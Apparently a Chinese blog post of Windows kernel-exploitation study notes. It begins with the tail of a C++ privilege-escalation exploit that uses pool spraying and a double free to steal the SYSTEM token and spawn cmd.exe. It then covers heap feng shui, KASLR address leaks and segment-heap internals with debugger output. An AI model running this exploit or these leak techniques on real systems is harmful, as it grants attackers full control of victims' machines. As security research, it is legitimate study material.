pFileEa->EaValueLength = sizeof (PROC_DATA); memcpy (pFileEa->EaName, "NifsPvd" , pFileEa->EaNameLength + 1 ); PPROC_DATA pProcData = (PPROC_DATA)((char *)pFileEa + sizeof (FILE_FULL_EA_INFORMATION) + sizeof ("NifsPvd" ) - 4 ); pProcData->ApcThread = hThreadApc; pProcData->RequestQueueRoutine = (PVOID)0xaaaaaaaa ; pProcData->CancelQueueRoutine = (PVOID)0xbbbbbbbb ; pProcData->ApcContext = (PVOID)0xcccccccc ; pProcData->unknown3 = (PVOID)0xdddddddd ; HANDLE handle = INVALID_HANDLE_VALUE; IO_STATUS_BLOCK IoStatusBlock; NTSTATUS status = NtCreateFile ( &handle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL , FILE_ATTRIBUTE_NORMAL, 0 , FILE_OPEN_IF, 0 , pFileEa, sizeof (FILE_FULL_EA_INFORMATION) + sizeof ("NifsPvd" ) + sizeof (PROC_DATA) ); if (NT_ERROR (status)) { wprintf (L"[-] Error NtCreateFile\r\n" ); free (pFileEa); exit (1 ); } free (pFileEa); return handle; } DWORD WINAPI APCThread (LPVOID lparam) { while (1 ) { Sleep (0x100 ); } } typedef struct _PIPE_HANDLES { HANDLE r; HANDLE w; } PIPE_HANDLES; std::vector<PIPE_HANDLES> g_Pipe; VOID SprayPipe (ULONG size) { wprintf (L"[*] Spray NpFr begin...\r\n" ); ULONG payloadSize = size - 0x40 ; for (int i = 0 ; i < CountSprayPipe; i++) { PIPE_HANDLES pipe; UCHAR* payload = (UCHAR*)malloc (payloadSize); if (payload == NULL ) { wprintf (L"malloc failed, err: %d\n" , GetLastError ()); exit (1 ); } memset (payload, 'p' , payloadSize); BOOL res = CreatePipe (&pipe.r, &pipe.w, NULL , payloadSize); if (res == FALSE) { wprintf (L"[-] Error CreatePipe\r\n" ); exit (1 ); } DWORD resultLength; res = WriteFile (pipe.w, payload, payloadSize, &resultLength, NULL ); if (res == FALSE) { wprintf (L"Error WriteFile\r\n" ); exit (1 ); } g_Pipe.push_back (pipe); } wprintf (L"[*] Spray NpFr done!\n" ); } typedef NTSTATUS (WINAPI* PNtSetEaFile) (HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG) ;PNtSetEaFile NtSetEaFile; HANDLE Setup () { g_hDevice = CreateFileW (DEVICE, GENERIC_READ | GENERIC_WRITE, 0 , NULL , OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (INVALID_HANDLE_VALUE == g_hDevice) { wprintf (L"[-] Error CreateFileW DEVICE\r\n" ); exit (1 ); } g_ThreadApcHandle = CreateThread (NULL , 0 , APCThread, NULL , 0 , 0 ); if (g_ThreadApcHandle == INVALID_HANDLE_VALUE) { wprintf (L"[-] Error CreateThread\r\n" ); exit (1 ); } g_ProcessList = (HANDLE*)malloc (sizeof (HANDLE) * CountSprayWs2P); if (g_ProcessList == NULL ) { wprintf (L"[-] Error malloc g_ProcessList\r\n" ); exit (1 ); } RtlFillMemory (g_ProcessList, sizeof (HANDLE) * CountSprayWs2P, 0xff ); NtSetEaFile = (PNtSetEaFile)::GetProcAddress (::LoadLibraryW (L"ntdll.dll" ), "NtSetEaFile" ); if (NtSetEaFile == NULL ) { wprintf (L"[-] Error GetProcAddress(NtSetEaFile)\r\n" ); exit (1 ); } } typedef struct { HANDLE hPEAuth; UCHAR* payload; ULONG PayloadSize; } ParamSprayEaFile; HANDLE* g_EaThreadList; DWORD WINAPI ThreadSprayEaFile (LPVOID param) { ParamSprayEaFile* _param = (ParamSprayEaFile*)param; IO_STATUS_BLOCK iostatus; for (int i = 0 ; i < CountSprayEaFile; i++) { NtSetEaFile (_param->hPEAuth, &iostatus, _param->payload, _param->PayloadSize); } return 0 ; } void SprayEaFile (ULONG size) { CountConcurrentSprayEaFile = 2 ; wprintf (L"[*] Spray Io ...\r\n" ); ParamSprayEaFile* param = (ParamSprayEaFile*)malloc (sizeof (ParamSprayEaFile)); if (param == NULL ) { wprintf (L"[-] Error malloc ParamSprayEaFile\r\n" ); exit (1 ); } param->PayloadSize = size - 0x10 ; param->hPEAuth = CreateFileW (L"\\\\.\\PEAuth" , GENERIC_WRITE, 0 , NULL , OPEN_EXISTING, NULL , NULL ); if (param->hPEAuth == INVALID_HANDLE_VALUE) { wprintf (L"[-] Error CreateFile PEAuth \r\n" ); exit (1 ); } param->payload = (UCHAR*)malloc (param->PayloadSize); if (param->payload == NULL ) { wprintf (L"[-] Error malloc payload\r\n" ); exit (1 ); } RtlFillMemory (param->payload, param->PayloadSize, 'H' ); *(ULONG32*)(¶m->payload[0x0 ]) = 0x636F7250 ; *(ULONG64*)(¶m->payload[0x38 ]) = g_ExploitEthread + 0x232 + 0x30 ; g_EaThreadList = (HANDLE*)malloc (sizeof (HANDLE) * CountConcurrentSprayEaFile); if (g_EaThreadList == NULL ) { wprintf (L"[-] Error malloc g_EaThreadList\r\n" ); exit (1 ); } for (unsigned int i = 0 ; i < CountConcurrentSprayEaFile; i++) { g_EaThreadList[i] = CreateThread (0 , 0 , ThreadSprayEaFile, param, CREATE_SUSPENDED, 0 ); if (g_EaThreadList[i] == NULL ) { wprintf (L"[-] Error CreateThread ThreadSprayEaFile\r\n" ); exit (1 ); } if (SetThreadAffinityMask (g_EaThreadList[i], 1 << i) == 0 ) { wprintf (L"[-] Error SetThreadAffinityMask\r\n" ); exit (1 ); } } for (unsigned int i = 0 ; i < CountConcurrentSprayEaFile; i++) { ResumeThread (g_EaThreadList[i]); } WaitForMultipleObjects (CountConcurrentSprayEaFile, g_EaThreadList, TRUE, INFINITE); for (unsigned int i = 0 ; i < CountConcurrentSprayEaFile; i++) { CloseHandle (g_EaThreadList[i]); } CloseHandle (param->hPEAuth); free (param->payload); free (param); wprintf (L"[*] Spray Io done\r\n" ); } VOID Cleanup () { wprintf (L"[+] cleanup...\r\n" ); CloseHandle (g_hDevice); if (g_Pipe.size () != 0 ) { for (PIPE_HANDLES p : g_Pipe) { CloseHandle (p.r); CloseHandle (p.w); } } } typedef NTSTATUS (NTAPI *PNtReadVirtualMemory) ( _In_ HANDLE ProcessHandle, _In_opt_ PVOID BaseAddress, _Out_writes_bytes_(BufferSize) PVOID Buffer, _In_ ULONG BufferSize, _Out_opt_ PULONG NumberOfBytesRead ) ;typedef NTSTATUS (WINAPI* PNtWriteVirtualMemory) ( _In_ HANDLE ProcessHandle, _In_ PVOID BaseAddress, _In_ PVOID Buffer, _In_ ULONG NumberOfBytesToWrite, _Out_opt_ PULONG NumberOfBytesWritten ) ;int wmain () { atexit (Cleanup); wprintf (L"[+] Setup ...\r\n" ); Setup (); g_ThreadExploitHandle = OpenThread (THREAD_QUERY_INFORMATION, FALSE, GetCurrentThreadId ()); wprintf (L"[*] Hacking thread: %#llx\r\n" , (ULONG64)GetCurrentThreadId ()); wprintf (L"[+] LeakByQuerySystemInfomation\r\n" ); LeakByQuerySystemInfomation (); Sleep (3000 ); wprintf (L"[+] Defragment \r\n" ); for (int i = 0 ; i < 100 ; i++) { Allocate32 (0x1b000 ); } SprayPipe (0x120 ); wprintf (L"[+] Allocate target \r\n" ); Allocate64 (0x1b000 ); wprintf (L"[+] Free first \r\n" ); Free64 (); wprintf (L"[+] Ws2P => Mdl \r\n" ); for (int i = 0 ; i < CountSprayWs2P; i++) { g_ProcessList[i] = CreateProcessFileHandle (g_ThreadApcHandle); } wprintf (L"[+] Allocate Memory avoid crash \r\n" ); for (int i = 0 ; i < CountSprayMm; i++) { Allocate32 (0x1b000 ); } wprintf (L"[+] Double free \r\n" ); Free64 (); wprintf (L"[+] Eafile => Ws2P \r\n" ); SprayEaFile (0x120 ); wprintf (L"[+] Close Ws2P Process Handle \r\n" ); for (int i = 0 ; i < CountSprayWs2P; i++) { CloseHandle (g_ProcessList[i]); } wprintf (L"[+] Exploiting... \r\n" ); wprintf (L"[*] Exploit thread: %#lx \r\n" , GetCurrentThreadId ()); HANDLE hCur = GetCurrentProcess (); Sleep (1000 ); PNtWriteVirtualMemory NtWriteVirtualMemory = (PNtWriteVirtualMemory)::GetProcAddress (::LoadLibraryW (L"ntdll.dll" ), "NtWriteVirtualMemory" ); if (NULL == NtWriteVirtualMemory) { wprintf (L"[-] Error GetProcAddress NtWriteVirtualMemory\r\n" ); exit (1 ); } wprintf (L"[+] Read System token ...\r\n" ); Sleep (3000 ); ULONG BytesWritten = 0 ; ULONG64 Token[] = { 0 , 0 , 0 , 0 }; NtWriteVirtualMemory ( hCur, &Token, (PVOID)(g_SystemEprocess + 0x4b8 - 0x10 ), sizeof (Token), &BytesWritten); wprintf (L"[*] Read System token: %#llx %#llx %#llx %#llx\n" , Token[0 ], Token[1 ], Token[2 ], Token[3 ]); if (BytesWritten == 0 ) { wprintf (L"[-] Error read token, please reboot...\n" ); exit (1 ); } NtWriteVirtualMemory ( hCur, (PVOID)(g_CurrentEprocess + 0x4b8 ), &Token[2 ], 8 , &BytesWritten ); wprintf (L"[+] Write PrevoiuaMode 1\r\n" ); Sleep (2000 ); BYTE PreviousMode = 1 ; if (NtWriteVirtualMemory ( hCur, (PVOID)(g_ExploitEthread + 0x232 ), &PreviousMode, 1 , &BytesWritten )) { wprintf (L"[-] Error NtWriteVirtualMemory\r\n" ); exit (1 ); } wprintf (L"[+] Get shell... \r\n" ); system ("cmd.exe" ); return EXIT_SUCCESS; }
CLFS 提了一嘴 CLFS,其UAF的利用
clfs.sys 漏洞也蛮多的
沉淀,todo…
More 尝试解决问题时搜到了其他不错的文章,深度学习一下
工具 微软的好东西总是需要我们自己探索。
工具箱: Sysinternals Suite
windows driver reverse windows-drivers-reverse-engineering
本人更喜欢使用网络来进行windbg调试
1 2 PS> bcdedit /dbgsettings NET HOSTIP:<DEBUGGER_IP> PORT:50000 PS> bcdedit /debug on
Devices & Symlinks Devices are interfaces that let processes interact with the driver while Symlink is an alias you can use while calling Win32 functions .
IoCreateDevice
creates DeviceNames: \Device\VulnerableDevice
IoCreateSymbolicLink
creates Symlinks: \\.\VulnerableDevice
设备的名称:
设备命名后,其它内核模式部件可以通过调用IoGetDeviceObjectPointer函数找到该设备,找到设备对象后,就可以向该设备的驱动程序发送IRP。
允许应用程序打开命名设备的句柄,这样它们就可以向驱动程序发送IRP。
符号链接名: 驱动程序为设备创建符号链接,应用程序可以使用符号链接名称来访问设备
设备是可以没有名字的,但是得存在符号链接用户态才能访问设备
我们可以使用 Sysinternals Suite 里的 winobj.exe
来查看。
global 搜索 symlink 就可以找到device
Dispatch Routines 派遣函数 MajorFunction
Windows Kernel HeapFengshui Windows HeapFengShui
这篇文章主要介绍了内核态的heap spraying,在HEVD UAF时看过,再看几遍
首先Windows内核提权手段
Pool
regular pool: 少于一个内存页大小的分配,X64下小于4064字节(16字节用于池头部,16字节分给初始的空闲块)
big pool: 大于于一个内存页大小的分配,没有预留头部空间,内存页是通过nt!PoolBigPageTable
来索引跟踪的
heap spray: Socket和 NamedPipe
创建一个本地Socket套接字并监听,用另外一个线程连接该套接字,然后发出一个写操作(写的数据要超过4K),但不要读。
创建一个命名管道,然后发出一个写操作(同样数据大于4K),且不要读。这也将导致命名管道文件系统(NPFS.SYS)为管道数据分配一块非分页的内存块。
原因是因为 网络栈函数/NPFS缓冲区 操作位于DISPATCH_LEVEL(IRQL 2)层,是NonPagedPool。
named pipe 比较简单,只需要几行代码就能搞定。但是NPFS会在我们自己的缓冲区前面加上一个包含其自身内联头部的前缀,该前缀被称为DATA_QUEUE_ENTRY
。NPFS头部的大小会随版本不同而略有差异
Windows Kernel Exploitation 文章里使用这个技术,NPFS NpFr:
调用 CreatePipe
创建readPipe和writePipe
然后WriteFile往writePipe里写入内容
存在一个0x48大小的BUFFER_HEADER,后面跟着数据,NonPagedPool
通过tag寻找pool,这个命令很长时间才能出结果。如果想知道pool大小,可以使用!poolused
1 !poolfind TagString [PoolType]
调试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #include <windows.h> #include <iostream> int main () { HANDLE readPipe; HANDLE writePipe; BOOL res; CHAR payload[0x30 ]; RtlFillMemory (payload, sizeof (payload), 0x43 ); res = CreatePipe (&readPipe, &writePipe, NULL , sizeof (payload)); if (!res) { std::cout << "[-] Error CreatePipe" << std::endl; } WriteFile (writePipe, payload, sizeof (payload), NULL , NULL ); std::cout << "read: " << readPipe << "write: " << writePipe << std::endl; DebugBreak (); CloseHandle (readPipe); CloseHandle (writePipe); return EXIT_SUCCESS; }
两个handle,查看其中一个Handle信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 0 : kd> !handle 0 xA4PROCESS ffff9a8824cbd080 SessionId: none Cid : 0004 Peb : 00000000 ParentCid : 0000 DirBase : 001ad000 ObjectTable : ffffc98328c04040 HandleCount : 2813. Image : System Kernel handle table at ffffc98328c04040 with 2813 entries in use 00a4 : Object : ffff9a8826ffca20 GrantedAccess : 0012019f (Protected ) (Inherit ) (Audit ) Entry : ffffc98328cb2290 Object : ffff9a8826ffca20 Type : (ffff9a8824d1cae0 ) File ObjectHeader : ffff9a8826ffc9f0 (new version ) HandleCount : 1 PointerCount : 32768 Directory Object : 00000000 Name : \Device \HarddiskVolume3 \$Extend \$RmMetadata \$TxfLog \$TxfLog {clfs } 0: kd > !pool ffff9a8826ffca20 2 Pool page ffff9a8826ffca20 region is Nonpaged pool *ffff9a8826ffc9a0 size : 190 previous size : 0 (Allocated ) *File Pooltag File : File objects
可以看出来NonPaged多了一个0x70大小的内存区域。当我们我们写入0x28大小,也是0x70,存在对齐情况。
1 2 3 4 5 6 7 8 9 10 11 0 : kd> !poolused 1 NpFrUsing a machine size of 1 ffe7f pages to configure the kd cache ........ Sorting by Tag NonPaged Paged Tag Allocs Frees Diff Used Allocs Frees Diff Used NpFr 2905 2904 1 112 0 0 0 0 DATA_ENTRY records (read/write buffers) , Binary: npfs.sys TOTAL 2905 2904 1 112 0 0 0 0
多次写 0x30 大小
写两次,就会是0xe0 => 0x70 * 2
3次,0x150 = 0x70 * 3
poolfind (WinDbg) ,在本机一个多小时还是出不了结果🤣
1 0 : kd> !poolfind NpFr -nonpaged
文章中提到绕过 KASLR 的一个函数,这个函数可以在ntdll.dll
中获取
1 2 3 4 5 6 __kernel_entry NTSTATUS NtQuerySystemInformation ( [in] SYSTEM_INFORMATION_CLASS SystemInformationClass, [in, out] PVOID SystemInformation, [in] ULONG SystemInformationLength, [out, optional] PULONG ReturnLength ) ;
但是Windows可能会限制用户模式下对系统信息的访问权限,包括对NtQuerySystemInformation
函数的调用
有个不错的仓库:windows_kernel_address_leaks
故名思意,查询模块的基地址
from: HEVD Exploits
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 INT64 get_kernel_base () { cout << "[>] Getting kernel base address..." << endl; PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)GetProcAddress (GetModuleHandleA ("ntdll.dll" ), "NtQuerySystemInformation" ); if (!NtQuerySystemInformation) { cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl; cout << "[!] Last error " << GetLastError () << endl; exit (1 ); } ULONG len = 0 ; NtQuerySystemInformation (SystemModuleInformation, NULL , 0 , &len); PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION) VirtualAlloc (NULL , len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); NTSTATUS status = NtQuerySystemInformation (SystemModuleInformation, pModuleInfo, len, &len); if (status != (NTSTATUS)0x0 ) { cout << "[!] NtQuerySystemInformation failed!" << endl; exit (1 ); } PVOID kernelImageBase = pModuleInfo->Modules[0 ].ImageBaseAddress; cout << "[>] ntoskrnl.exe base address: 0x" << hex << kernelImageBase << endl; return (INT64)kernelImageBase; }
我们可以通过其Name查询指定模块基址 SYSTEM_MODULE_INFORMATION->Modules[ModulesCount].Name
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; #ifdef _WIN64 ULONG Reserved3; #endif PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD w018; WORD NameOffset; CHAR Name[MAXIMUM_FILENAME_LENGTH]; }SYSTEM_MODULE, *PSYSTEM_MODULE; typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1 ]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
通过其指定的handle(SYSTEM_HANDLE_INFORMATION_EX->Handles[HandleCount].UniqueProcessId
)查询Object
Handle
Process的Handle,EPROCESS
Thread的Handle, ETHREAD1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 typedef struct _SYSTEM_HANDLE { PVOID Object; HANDLE UniqueProcessId; HANDLE HandleValue; ULONG GrantedAccess; USHORT CreatorBackTraceIndex; USHORT ObjectTypeIndex; ULONG HandleAttributes; ULONG Reserved; } SYSTEM_HANDLE, *PSYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION_EX { ULONG_PTR HandleCount; ULONG_PTR Reserved; SYSTEM_HANDLE Handles[1 ]; } SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;
查询pid为4,HandleValue为4, object代表SYSTEM进程EPROCESS的地址,从而可以获得token的地址
ETHREAD(KTHREAD) 的地址:当HandleValue为当前指定的Thread
Thread可以OpenThread指定
还可以在Process中CreateThread
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 HANDLE hThread = OpenThread (THREAD_QUERY_INFORMATION, FALSE, GetCurrentThreadId ()); int z = 0 ;for (unsigned int i = 0 ; i < system_handle_info->NumberOfHandles; i++){ if ((HANDLE)system_handle_info->Handles[i].HandleValue == hThread) { if (system_handle_info->Handles[i].ObjectTypeIndex == ObjectThreadType) { z++; } } } int array_size = z - 1 ;PVOID* kThread_array = new PVOID[array_size]; z = 0 ; for (unsigned int i = 0 ; i < system_handle_info->NumberOfHandles; i++){ if ((HANDLE)system_handle_info->Handles[i].HandleValue == hThread) { if (system_handle_info->Handles[i].ObjectTypeIndex == ObjectThreadType) { kThread_array[z] = system_handle_info->Handles[i].Object; z++; } } } printf ("[+] KTHREAD address: %p\n" , kThread_array[array_size]);
Scoop the Windows 10 pool! 内核池
SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1
Scoop The Windows 10 Pool 翻译
Windows10内核池管理机制与利用方法 | Ash blog (ashlq.github.io)
比较新的一篇总结:Windows内核利用小总结
pool 用户态操作在 C\Windows\system32\ntdll.dll
中,可以逆向看看。
在win10 2004(这一版本也被称为Win10 2020年五月更新版(代号是20H1)) 以及之前是
1 2 3 4 5 PVOID ExAllocatePoolWithTag ( [in] __drv_strictTypeMatch(__drv_typeExpr)POOL_TYPE PoolType, [in] SIZE_T NumberOfBytes, [in] ULONG Tag ) ;
在内核池中,所有单页的数据块的开头 都是一个POOL_HEADER结构。这个结构包含了分配器和tag信息。
1 2 3 4 5 6 7 8 9 10 11 1 : kd> dt nt!_POOL_HEADER +0x000 PreviousSize : Pos 0 , 8 Bits +0x000 PoolIndex : Pos 8 , 8 Bits +0x002 BlockSize : Pos 0 , 8 Bits +0x002 PoolType : Pos 8 , 8 Bits +0x000 Ulong1 : Uint4B +0x004 PoolTag : Uint4B +0x008 ProcessBilled : Ptr64 _EPROCESS +0x008 AllocatorBackTraceIndex : Uint2B +0x00a PoolTagHash : Uint2B
主要的PoolType:NonPagedPool,PagedPool,SessionPool,NonPagedPoolNx
在win8中引入了NonPagedPoolNx,必须使用它来替代NonpagedPool类型.
PagedPool 是分页内存,简单来说就是物理内存不够时,会把这片内存移动到硬盘上。
而NonPagedPool 是无论物理内存如何紧缺,都绝对不把这片内存的内容移动到硬盘上。只能常驻于物理内存地址,不能映射
Segment Heap – 段堆自Windows 10 19H1开始用于内核空间,与用户空间中使用的段堆非常相似。就像在用户态使用的一样,段堆是为根据分配大小的不同提供不同的功能,为此来定义了多种不同类型的后端处理。
win10之后堆分为两种:Segment heap和NT heap。当一个进程分配堆的时候,大部分场合默认使用的堆都是后面那种,前面的segment heap通常会在winapp或者某些特殊的进程(核心进程)中会使用到。
这两种堆称为前端堆(Frontend Heap)和后端堆(Backend Heap)
低碎片堆(LFH) <= 0x200 可变量大小后端(VS) <= 0x20000 分段分配(SEG) <= 0x7f0000 Large
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 __int64 __fastcall RtlpHpAllocateHeapInternal (__int64 a1, __int64 a2, unsigned __int64 a3, unsigned int a4, int *a5) { unsigned __int64 v6; __int64 v7; int v9; __int64 v10; __int64 v11; v6 = a3; v7 = a2; v9 = 3 ; if ( a3 > (unsigned int )*(unsigned __int16 *)(a1 + 892 ) - 16 || (v10 = RtlpHpLfhContextAllocate (a1 + 832 , a2, a3, a4), a3 = (unsigned int )v6, a2 = (unsigned int )v7, v10 == -1 ) ) { if ( v6 > 0x20000 ) { if ( v6 > *(unsigned int *)(a1 + 464 ) ) v11 = RtlpHpLargeAlloc (a1, v7, v6, a4); else v11 = RtlpHpSegAlloc ((unsigned int )a1 + (*(unsigned int *)(a1 + 272 ) < v6 ? 448 : 256 ), v7, v6, v6, a4); } else { v11 = RtlpHpVsContextAllocate (a1 + 640 , a2, a3, a4); } v10 = v11; } else { v9 = 2 ; } *a5 = v9; return v10; }
LFH,VS,SEG分别关联了对应的上下文(CONTEXT),这些后端的上下文存储在_SEGMENT_HEAP
结构中偏移0x100,0x280,0x340的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 0 : kd> dt nt!_SEGMENT_HEAP +0x000 EnvHandle : RTL_HP_ENV_HANDLE +0x010 Signature : Uint4B +0x014 GlobalFlags : Uint4B +0x018 Interceptor : Uint4B +0x01c ProcessHeapListIndex : Uint2B +0x01e AllocatedFromMetadata : Pos 0 , 1 Bit +0x020 CommitLimitData : _RTL_HEAP_MEMORY_LIMIT_DATA +0x020 ReservedMustBeZero1 : Uint8B +0x028 UserContext : Ptr64 Void +0x030 ReservedMustBeZero2 : Uint8B +0x038 Spare : Ptr64 Void +0x040 LargeMetadataLock : Uint8B +0x048 LargeAllocMetadata : _RTL_RB_TREE +0x058 LargeReservedPages : Uint8B +0x060 LargeCommittedPages : Uint8B +0x068 StackTraceInitVar : _RTL_RUN_ONCE +0x080 MemStats : _HEAP_RUNTIME_MEMORY_STATS +0x0d8 GlobalLockCount : Uint2B +0x0dc GlobalLockOwner : Uint4B +0x0e0 ContextExtendLock : Uint8B +0x0e8 AllocatedBase : Ptr64 UChar +0x0f0 UncommittedBase : Ptr64 UChar +0x0f8 ReservedLimit : Ptr64 UChar +0x100 SegContexts : [2 ] _HEAP_SEG_CONTEXT +0x280 VsContext : _HEAP_VS_CONTEXT +0x340 LfhContext : _HEAP_LFH_CONTEXT
不同的POOL_TYPE
,都有1个_SEGMENT_HEAP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 0 : kd> dt _POOL_TYPEntdll!_POOL_TYPE NonPagedPool = 0 n0 NonPagedPoolExecute = 0 n0 PagedPool = 0 n1 NonPagedPoolMustSucceed = 0 n2 DontUseThisType = 0 n3 NonPagedPoolCacheAligned = 0 n4 PagedPoolCacheAligned = 0 n5 NonPagedPoolCacheAlignedMustS = 0 n6 MaxPoolType = 0 n7 NonPagedPoolBase = 0 n0 NonPagedPoolBaseMustSucceed = 0 n2 NonPagedPoolBaseCacheAligned = 0 n4 NonPagedPoolBaseCacheAlignedMustS = 0 n6 NonPagedPoolSession = 0 n32 PagedPoolSession = 0 n33 NonPagedPoolMustSucceedSession = 0 n34 DontUseThisTypeSession = 0 n35 NonPagedPoolCacheAlignedSession = 0 n36 PagedPoolCacheAlignedSession = 0 n37 NonPagedPoolCacheAlignedMustSSession = 0 n38 NonPagedPoolNx = 0 n512 NonPagedPoolNxCacheAligned = 0 n516 NonPagedPoolSessionNx = 0 n544
Segment Backend SegAlloc后端是用于分配大小在128 KB和7 GB之间的内存块。它也用于后台,为VS和LFH后端分配内存。
段后端上下文存储在一个名为_HEAP_SEG_CONTEXT
的结构中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 0 : kd> dt nt!_HEAP_SEG_CONTEXT +0x000 SegmentMask : Uint8B +0x008 UnitShift : UChar +0x009 PagesPerUnitShift : UChar +0x00a FirstDescriptorIndex : UChar +0x00b CachedCommitSoftShift : UChar +0x00c CachedCommitHighShift : UChar +0x00d Flags : <anonymous-tag> +0x010 MaxAllocationSize : Uint4B +0x014 OlpStatsOffset : Int2B +0x016 MemStatsOffset : Int2B +0x018 LfhContext : Ptr64 Void +0x020 VsContext : Ptr64 Void +0x028 EnvHandle : RTL_HP_ENV_HANDLE +0x038 Heap : Ptr64 Void +0x040 SegmentLock : Uint8B +0x048 SegmentListHead : _LIST_ENTRY +0x058 SegmentCount : Uint8B +0x060 FreePageRanges : _RTL_RB_TREE +0x070 FreeSegmentListLock : Uint8B +0x078 FreeSegmentList : [2 ] _SINGLE_LIST_ENTRY
段存储在存储在SegmentListHead中的链表中。段头为_HEAP_PAGE_SEGMENT
,后面是256个_HEAP_PAGE_RANGE_DESCRIPTOR
结构。
1 2 3 4 5 6 0 : kd> dt nt!_HEAP_PAGE_SEGMENT +0x000 ListEntry : _LIST_ENTRY +0x010 Signature : Uint8B +0x018 SegmentCommitState : Ptr64 _HEAP_SEGMENT_MGR_COMMIT_STATE +0x020 UnusedWatermark : UChar +0x000 DescArray : [256 ] _HEAP_PAGE_RANGE_DESCRIPTOR
_HEAP_SEG_CONTEXT
中还维护了一个红黑树,而_HEAP_PAGE_SEGMENT
中的Signature是每个_HEAP_PAGE_SEGMEN
T都有的一个签名计算
计算方法:
1 2 3 Signature = Segment ^ SegContext ^ RtlpHpHeapGlobals ^ 0xA2E64EADA2E64EAD ; Segment = Addr & SegContext->SegmentMask;
Variable Size Backend 可变大小后端分配512B到128KB大小的块。它的目的是在提供对空闲块的重用。它存储在_HEAP_VS_CONTEXT
结构体中。
空闲块以_HEAP_VS_CHUNK_FREE_HEADER
的专用结构体为头部。
而已经被分配的块都会以_HEAP_VS_CHUNK_HEADER
的结构体开头。而header结构体中的所有字段都与RtlHpHeapGlobals和块的地址进行异或。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 0 : kd > dt nt! _HEAP_VS_CONTEXT+0 x000 Lock : Uint8B +0 x008 LockType : _RTLP_HP_LOCK_TYPE +0 x010 FreeChunkTree : _RTL_RB_TREE +0 x020 SubsegmentList : _LIST_ENTRY +0 x030 TotalCommittedUnits : Uint8B +0 x038 FreeCommittedUnits : Uint8B +0 x040 DelayFreeContext : _HEAP_VS_DELAY_FREE_CONTEXT +0 x080 BackendCtx : Ptr64 Void +0 x088 Callbacks : _HEAP_SUBALLOCATOR_CALLBACKS +0 x0b0 Config : _RTL_HP_VS_CONFIG +0 x0b4 Flags : Uint4B 0 : kd > dt nt! _HEAP_VS_CHUNK_HEADER+0 x000 Sizes : _HEAP_VS_CHUNK_HEADER_SIZE +0 x008 EncodedSegmentPageOffset : Pos 0 , 8 Bits +0 x008 UnusedBytes : Pos 8 , 1 Bit +0 x008 SkipDuringWalk : Pos 9 , 1 Bit +0 x008 Spare : Pos 10 , 22 Bits +0 x008 AllocatedChunkBits : Uint4B 0 : kd > dt nt! _HEAP_VS_CHUNK_HEADER_SIZE+0 x000 MemoryCost : Pos 0 , 16 Bits +0 x000 UnsafeSize : Pos 16 , 16 Bits +0 x004 UnsafePrevSize : Pos 0 , 16 Bits +0 x004 Allocated : Pos 16 , 8 Bits +0 x000 KeyUShort : Uint2B +0 x000 KeyULong : Uint4B +0 x000 HeaderBits : Uint8B 0 : kd > dt nt! _HEAP_VS_CHUNK_FREE_HEADER+0 x000 Header : _HEAP_VS_CHUNK_HEADER +0 x000 OverlapsHeader : Uint8B +0 x008 Node : _RTL_BALANCED_NODE
已被分配的块都以_HEAP_VS_CHUNK_HEADER
的结构体开头。而header结构体中的所有字段都与RtlHpHeapGlobals和块的地址进行异或。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Chunk->Sizes = Chunk->Sizes ^ Chunk ^ RtlpHpHeapGlobals ; 0 : kd> dq ffff998533f74440 L2ffff9985`33f 74440 88 a74e1e`7e507045 ffff9985`00000049 0 : kd> dt _HEAP_VS_CHUNK_HEADER ffff998533f74440ntdll!_HEAP_VS_CHUNK_HEADER +0x000 Sizes : _HEAP_VS_CHUNK_HEADER_SIZE +0x008 EncodedSegmentPageOffset : 0 y01001001 (0x49 ) +0x008 UnusedBytes : 0 y0 +0x008 SkipDuringWalk : 0 y0 +0x008 Spare : 0 y0000000000000000000000 (0 ) +0x008 AllocatedChunkBits : 0x49 0 : kd> dx -id 0 ,0 ,ffff998520ad7080 -r1 (*((ntdll!_HEAP_VS_CHUNK_HEADER_SIZE *)0xffff998533f74440 ))(*((ntdll!_HEAP_VS_CHUNK_HEADER_SIZE *)0xffff998533f74440 )) [Type: _HEAP_VS_CHUNK_HEADER_SIZE] [+0x000 (15 : 0 )] MemoryCost : 0x7045 [Type: unsigned long ] [+0x000 (31 :16 )] UnsafeSize : 0x7e50 [Type: unsigned long ] [+0x004 (15 : 0 )] UnsafePrevSize : 